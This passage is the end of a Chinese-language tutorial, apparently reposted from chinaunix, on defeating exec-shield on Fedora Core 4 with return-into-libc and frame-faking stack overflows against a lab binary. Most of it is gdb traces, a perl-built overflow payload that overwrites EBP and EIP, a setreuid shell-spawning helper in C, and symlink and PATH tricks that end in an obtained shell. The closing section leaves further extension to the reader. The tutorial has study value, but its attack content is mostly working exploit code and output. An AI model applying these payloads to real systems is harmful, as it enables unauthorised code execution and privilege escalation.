0x5eed20 <__libc_start_main>: push %ebp (gdb) x/i 0x00643fc0 ======》strcpy的入口地址 0x643fc0 <strcpy>: push %ebp (gdb) c Continuing. Breakpoint 5, 0x0060f3df in system () from /lib/libc.so.6 (gdb) x/8x 0x080495d8 ======》執行system之前,GOT中已經有system的入口地址了 0x80495d8 <_GLOBAL_OFFSET_TABLE_>: 0x0804950c 0x005d36d0 0x005cad20 0x0060f3df 0x80495e8 <_GLOBAL_OFFSET_TABLE_+16>: 0x08048306 0x005eed20 0x08048326 0x00643fc0 (gdb) x/i 0x0060f3df 0x60f3df <system>: push %edi (gdb) c Continuing. Detaching after fork from child process 31014. sh: BBBB: command not found AAAA Program exited normally. (gdb) 通過上面的調試,可以看到system在GOT中的入口地址是在0x080495e4 如果我們用frame faking,那麼就應該把fake EBP addr指定到0x080495e0,這樣,新的EBP內容就是0x005cad20(這個不重要),新的EIP的內容就變成了我們想要的system的入口地址 也就是0x0060f3df 根據return into libc的方法,調用system的payload應該是 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++ | dummy | system addr| 4 bytes dummy | addr of command | ++++++++++++++++++++++++++++++++++++++++++++++++++++++++ 也就是說,system入口地址後需要有4字節的填充數據,然後是跟著的地址,將指向system要執行的命令 我們再調試看看,這次用上我們的payload 根據調試得到,256字節覆蓋buffer,再4字節覆蓋EBP,再4字節覆蓋EIP 覆蓋buffer的字節數可能根據系統不同,因為dummy不同,並不是簡單的看一眼反匯編代碼能得到 我們用frame faking技術 其中leave的地址是0x08048445 而根據上面的分析,我們應該把fake ebp addr返回到0x080495e0 (gdb) r "`perl -e 'print "A"x256,"\xe0\x95\x04\x08","\x45\x84\x04\x08"'`" Starting program: /home/axis/explab/bof2 "`perl -e 'print "A"x256,"\xe0\x95\x04\x08","\x45\x84\x04\x08"'`" (no debugging symbols found) (no debugging symbols found) Breakpoint 4, 0x00643fc4 in strcpy () from /lib/libc.so.6 (gdb) x/8x 0x080495d8 0x80495d8 <_GLOBAL_OFFSET_TABLE_>: 0x0804950c 0x005d36d0 0x005cad20 0x080482f6 0x80495e8 <_GLOBAL_OFFSET_TABLE_+16>: 0x08048306 0x005eed20 0x08048326 0x00643fc0 (gdb) c Continuing. Breakpoint 5, 0x0060f3df in system () from /lib/libc.so.6 (gdb) x/8x 0x080495d8 ======》執行到system了 0x80495d8 <_GLOBAL_OFFSET_TABLE_>: 0x0804950c 0x005d36d0 0x005cad20 0x0060f3df 0x80495e8 <_GLOBAL_OFFSET_TABLE_+16>: 0x08048306 0x005eed20 0x08048326 0x00643fc0 (gdb) i reg eax 0xbf9a6ed8 -1080398120 ecx 0xbf9a6fe0 -1080397856 edx 0xbf9a7bbf -1080394817 ebx 0x6ffff4 7340020 esp 0xbf9a6eac 0xbf9a6eac ebp 0xbf9a6fd8 0xbf9a6fd8 esi 0x5d2ca0 6106272 edi 0x8048448 134513736 eip 0x60f3df 0x60f3df eflags 0x246 582 cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51 (gdb) c Continuing. Detaching after fork from child process 31167. sh: BBBB: command not found ======》程序中的system正確執行了 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA郋 Breakpoint 5, 0x0060f3df in system () from /lib/libc.so.6 ======》但執行後,因為我們改變了程序流程,所以又回到system執行了 (gdb) bt #0 0x0060f3df in system () from /lib/libc.so.6 #1 0x00630ee0 in _L_mutex_unlock_528 () from /lib/libc.so.6 #2 0x005eed20 in _dl_start () from /lib/libc.so.6 Previous frame inner to this frame (corrupt stack?) (gdb) x/8x 0x080495d8 0x80495d8 <_GLOBAL_OFFSET_TABLE_>: 0x0804950c 0x005d36d0 0x005cad20 0x0060f3df 0x80495e8 <_GLOBAL_OFFSET_TABLE_+16>: 0x00630ee0 0x005eed20 0x08048326 0x00643fc0 (gdb) i reg eax 0x0 0 ecx 0x109 265 edx 0x7017a8 7346088 ebx 0x6ffff4 7340020 esp 0x80495e8 0x80495e8 ebp 0x5cad20 0x5cad20 esi 0x5d2ca0 6106272 edi 0x8048448 134513736 eip 0x60f3df 0x60f3df eflags 0x286 646 cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51 (gdb) c Continuing. Detaching after fork from child process 31172. sh: U夊WVS冹L?伱: command not found ======》看,再次執行了system h Program received signal SIGSEGV, Segmentation fault. 0x005eed81 in __libc_start_main () from /lib/libc.so.6 (gdb) 程序流程按照我們的構想改變了,system執行了兩次,第一次是程序本身包含的,第二次是我們精心構造讓它執行的 那麼它到底執行了什麼呢? sh: U夊WVS冹L?伱: command not found 一堆亂碼 其實很好理解 (gdb) x/8x 0x080495d8 0x80495d8 <_GLOBAL_OFFSET_TABLE_>: 0x0804950c 0x005d36d0 0x005cad20 0x0060f3df 0x80495e8 <_GLOBAL_OFFSET_TABLE_+16>: 0x00630ee0 0x005eed20 0x08048326 0x00643fc0 注意看這裡 system在0x080495e4,那麼接下來的4 byte作為填充的垃圾數據 那麼它實際執行的就是 0x005eed20的內容 我們再看看 (gdb) r "`perl -e 'print "A"x256,"\xe0\x95\x04\x08","\x45\x84\x04\x08"'`" The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/axis/explab/bof2 "`perl -e 'print "A"x256,"\xe0\x95\x04\x08","\x45\x84\x04\x08"'`" (no debugging symbols found) (no debugging symbols found) Breakpoint 4, 0x00643fc4 in strcpy () from /lib/libc.so.6 (gdb) c Continuing. Breakpoint 5, 0x0060f3df in system () from /lib/libc.so.6 (gdb) c Continuing. Detaching after fork from child process 31218. sh: BBBB: command not found AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA郋 Breakpoint 5, 0x0060f3df in system () from /lib/libc.so.6 (gdb) x/8x 0x080495d8 0x80495d8 <_GLOBAL_OFFSET_TABLE_>: 0x0804950c 0x005d36d0 0x005cad20 0x0060f3df 0x80495e8 <_GLOBAL_OFFSET_TABLE_+16>: 0x00630ee0 0x005eed20 0x08048326 0x00643fc0 (gdb) x/s 0x005eed20 ========》第二次system執行的是這個地址的內容 0x5eed20 <__libc_start_main>: "U\211錡VS\203霯?\201悶\022\021" (gdb) x/8x 0x005eed20 0x5eed20 <__libc_start_main>: 0x57e58955 0xec835356 0xff32e84c 0xc381ffff 0x5eed30 <__libc_start_main+16>: 0x001112c6 0x8b147d8b 0x838b1c4d 0xffffff48 (gdb) 也就是說,system是這樣執行的 system(0x005eed20); 執行了0x005eed20指向的內容,一直到遇到一個0x00為止 也就是說以下面下滑線的數據為參數 0x5eed20 <__libc_start_main>: 0x57e58955 0xec835356 0xff32e84c 0xc381ffff ~~~~~~~~~~ ~~~~~~~~~~ ~~~~~~~~~~ ~~~~~~~~~~ 0x5eed30 <__libc_start_main+16>: 0x001112c6 0x8b147d8b 0x838b1c4d 0xffffff48 ~~~~~~ 還記得在方法二中我們是怎麼讓system執行Array的嗎? 那麼這裡我們用同樣的方法,讓system執行這一堆亂碼 [axis@axis explab]$ cat Array.c #include<unistd.h> int main(int argc,char *argv[]){ setreuid(geteuid(),geteuid()); setregid(getegid(),getegid()); execl("/bin/sh","sh",0); return 0; } [axis@axis explab]$ gcc -o Array Array.c [axis@axis explab]$ 但這裡不能再用Array做文件名了,而應該是那堆亂碼。 我們可以簡單的設置一個軟連接 (gdb) x/8x 0x005eed20 0x5eed20 <__libc_start_main>: 0x57e58955 0xec835356 0xff32e84c 0xc381ffff 0x5eed30 <__libc_start_main+16>: 0x001112c6 0x8b147d8b 0x838b1c4d 0xffffff48 (gdb) shell [axis@axis explab]$ ln -s /home/axis/explab/Array "`perl -e 'print "\x55\x89\xe5\x57\x56\x53\x83\xec\x4c\xe8\x32\xff\xff\xff\x81\xc3\xc6\x12\x11"'`" [axis@axis explab]$ ls Array Array.c bof2 bof2.c U??WVS??L?2????悶?? [axis@axis explab]$ 看,這堆亂碼我們有了 再把當前目錄導入PATH [axis@axis explab]$ export PATH=:.PATH [axis@axis explab]$ 准備工作做好了,執行看看! [axis@axis explab]$ ./bof2 "`perl -e 'print "A"x256,"\xe0\x95\x04\x08","\x45\x84\x04\x08"'`" sh: BBBB: command not found AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA郋 sh-3.00$ id uid=500(axis) gid=500(axis) groups=500(axis) context=user_u:system_r:unconfined_t sh-3.00$ uname -a Linux axis 2.6.11-1.1369_FC4 #1 Thu Jun 2 22:55:56 EDT 2005 i686 i686 i386 GNU/Linux sh-3.00$ cat /etc/issue.net Fedora Core release 4 (Stentz) Kernel \r on an \m sh-3.00$ 和我們所猜想的一模一樣,成功執行system,得到shell了 但是還是有system丟棄特權的問題,沒有得到rootshell ---------[ 0x140 - Conclusion ] 以上幾種方法中,都是在Redhat高版本平台上做的事情,都是默認安裝,也就是execshield,SElinux,VA space randomize全開的情況。其中frame faking最為靈活。雖然因為system函數丟棄特權導致無法得到root,但我們可以利用些其他的函數。或者是直接以root權限做些什麼事情。繼續拓展就留給讀者了。 在這裡我們看到像glibc中提供的函數system等的地址,是不變的,但在高版本內核中,他們已經開始變化了!那麼也就是說用return into libc的方法的難度大大提高,而且在Fedora Core 5中,據說PLT已經不再可寫了,屆時又會出現什麼新的攻擊手段,我們拭目以待. 最後,不得不說Red Hat的execshield是一個非常棒的東西,至少最近在公開的mail list裡,已經看不到針對redhat平台的溢出exploit了. Thanks ayazero,Seal,Envymask,and all guys from ph4nt0m! Welcome to Ph4nt0m! http://www.ph4nt0m.org Welcome to SecWiki! http://www.secwiki.com ---------[ 0x150 - Reference ] 《How to hijack the Global Offset Table with pointers for root shells》 By c0ntex http://www.open-security.org/texts/6 《How to Exploit Overflow Vulnerability Under Fedora Core》 By Vangelis. http://www.covertsystems.org/archives/How to exploit overflow vulnerability under Fedora Core 2.txt 《Solution To Red Hat PIE protection》 By Fr0z3n http://www.covertsystems.org/archives/pie.txt 《UNIX下的緩沖區溢出深度防御體系》 By ayazero http://overflow.nease.net/aya/inside_unix_defense.txt 《Function Stack Frame Manipulation》 By barros A.K.A Carlos Barros http://gotfault.net/knowledge/module/0x300/0x300-MODULE.txt exec-shield description: http://people.redhat.com/mingo/exec-shield/ANNOUNCE-exec-shield (OLD) http://www.redhat.com/f/pdf/rhel/WHP0006US_Execshield.pdf description of security enhancements in RHEL/FC http://people.redhat.com/drepper/nonselsec.pdf -EOF-




摘自:chinaunix.net


Copyright © Linux教程網 All Rights Reserved